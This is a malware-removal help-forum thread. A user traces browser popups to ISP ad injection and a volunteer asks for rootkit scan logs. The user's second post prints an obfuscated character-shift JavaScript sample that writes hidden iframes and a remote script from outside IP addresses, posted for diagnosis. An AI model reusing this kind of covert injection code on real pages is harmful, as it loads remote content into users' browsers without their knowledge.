Hi,

I will try to give as much information as I can. I have done a clean install three times already, done several "system restores" within XP, and even tried a couple of old backups made using DriveImage XML that I was sure were clean. However, this virus/adware/malware always finds its way back onto my system. It may be coming from the drive I use for backing up files, but I have scanned it with MalwareBytes, Adaware, SuperAntiSpyware, Avast, IObit 360 and SpyBot, all clean. I also did a rootkit scan with Threatfire, also clean.

It all started with a PhotoShop .psd file that scanned clean. After opening the file a started noticing random in browser window popup ads. I believe this is the source because I opened it on two of my computers and both started having this problem afterwards. A system restore seems to have helped my laptop.

After doing step by step installs and testing everything I realized the popups seem to be based on Java and uses Flash to display the image. The popup did not come up on the latest new install until I updated Java to Version 6 Update 17. After this it came up on the first load of FireFox. Before I was also getting this in IE, though I have not tested it this time. The ad linked started as hxxp://202.106.195.182/adpolestar/ then had another directory and a bunch of other characters.

I did a system restore on this latest install, and removed Java, which seems to prevent the popups, but I hardly believe this is a solution if the problem still exists on my computer, just waiting for me to install Java and Flash again, and doing who knows what else besides the popups.

Any help would be sincerely appreciated. I use this computer for financial transactions and other important things requiring it be clean, which obviously I cannot know right now.


Thank you in advance for all your help, I have read good things about this site and hope you can help me as well.


Sincerely,

James

Hi,

Thank you for your reply. I believe I have found the cause of the "Adware."

I am currently living in Beijing, China and it seems my ISP has been "pushing" ads into my browsers by replacing the requested page with a bit of Javascript, which calls the requested page while also creating a little in browser popup in the lower right corner of the browser.

If you feel I am wrong about this please let me know and I would like to proceed with trying to remove this. However, I have done a clean install on a new system a couple of times, downloading no programs, restoring no files from my previous installs and making sure Windows XP was up to date, and still received the same popup.

The code I was able to find is below:

<script>var d="=iunm?=ifbe?=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#?wbs!h>#iuuq;00xxx/zbipp/dpn#<jg)qbsfou/x>>voefgjofe*!wbs!x>(=iunm?=ifbe?=nfub!iuuq.frvjw>#Sfgsfti#!dpoufou>#1<VSM>(,h,(#0?=0ifbe?=0iunm?(<fmtf!wbs!x>((<wbs!xj>#411qy#<wbs!if>#411qy#<wbs!ujnf>26<wbs!be>#iuuq;00bmmzft/be3zpv/dpn0cpmpoj2312/iunm#<wbs!mpdbujpo<xjoepx/pofssps>gvodujpo)*|epdvnfou/VSM>h<~=0";function i(_,__){_+=__;var $="";for(var u=0;u<_.length;u++){var r=_.charCodeAt(u);$+=String.fromCharCode(r-1);}return $;} var c="tdsjqu?=0ifbe?=cpez!sjhiuNbshjo>1!upqNbshjo>1!mfguNbshjo>1!tdspmm>op?=jgsbnf!tsd>#iuuq;0072/246/33/6;910b0q@t>238672138:#!tuzmf>#ejtqmbz;opof#?=0jgsbnf?=jgsbnf!obnf>do!tsd>#kbwbtdsjqu;qbsfou/x#!gsbnfCpsefs>1!xjeui>211&!ifjhiu>211&?=0jgsbnf?!=ejw!je>Nth?=0ejw?=0cpez?=tdsjqu!mbohvbhf>KbwbTdsjqu!tsd>#iuuq;0072/246/33/6;9106/kt#?=0tdsjqu?=0iunm? ";document.write(i(d,c));</script>

The script is called from one of the IPs owned by my provider, and the content is called from another IP they own. By changing "document.write" to "alert" it decodes the javascript and reveals the ads are served by a fairly reputable ad company that does business with my ISP, big surprise, NOT! I am doubtfull this ad company would be working with hackers to display ads, though once again I could certainly be wrong.

I have blocked both IP addresses in my router and also in my software firewall and no more ads. I also contacted my ISP and requested they stop this nonsense, but who knows how that will go over.

Thank you very much for your help, and if I am off base on this, please let me know as I cannot afford to have an infected system.


Sincerely,

James

Hi James Turner,



Welcome to BleepingComputer HijackThis Logs and Malware Removal, :(
My name is sundavis, I will be helping you to deal with your Malware problems today.

creating a little in browser popup in the lower right corner of the browser.

Yes, It's a popunder which was notorious business practices for Your ISP bundled with Sponsor Ads. Or sponsor related webs were planted by malicious code or ads script in their homepages.

Let's check it out. Please proceed the following:


Step1

Please download GMER Rootkit Scanner from Here or Here.
  • Extract the contents of the zipped file to desktop.
  • Double click GMER.exe. If asked to allow gmer.sys driver to load, please consent .
  • If it gives you a warning about rootkit activity and asks if you want to run scan...click on NO.
  • In the right panel, you will see several boxes that have been checked. Uncheck the following ...
    • Sections
    • IAT/EAT
    • Drives/Partition other than Systemdrive (typically C:\)
    • Show All (don't miss this one)
  • Then click the Scan button & wait for it to finish. For more info, go to Here for your reference.
  • Once done click on the [Save..] button, and in the File name area, type in "Gmer.txt" , and copy and paste the contents in your next reply.
**Caution**
Rootkit scans often produce false positives. Do NOT take any action on any "<--- ROOKIT" entries


Step2

Please go to SysProt Antirootkit homepage from Here , scroll down to the bottom of the page and download the attachments.
  • Unzip it to your desktop.
  • Double click Sysprot.exe to run the program.
  • Click on the Log tab.
  • In the Write to log box select all boxes.
  • Check the Hidden Objects Only box at the bottom
  • Click on the Create Log button on the bottom right.
  • When a window pops up asking about []Scanning for hidden files and folders[/b], select Scan all drives and then click Start - again leave the PC idle.
  • When it is complete a new window will appear to indicate that the scan is finished.
  • The log will be saved automatically in the same Sysprot folder. Copy/paste the log in your next reply.
Step3
  • Download random's system information tool (RSIT) by random/random from here and save it to your desktop.
  • Double click on RSIT.exe to run RSIT.
  • Click Continue at the disclaimer screen.
  • Once it has finished, two logs will open. Please post the contents of both log.txt (<<will be maximized) and info.txt (<<will be minimized)


In your next reply, please post back:


1.Gmer log
2.Sysprot log
3.RSIT log.txt and info.txt.

Please detail the problems you're experiencing now. Thanks
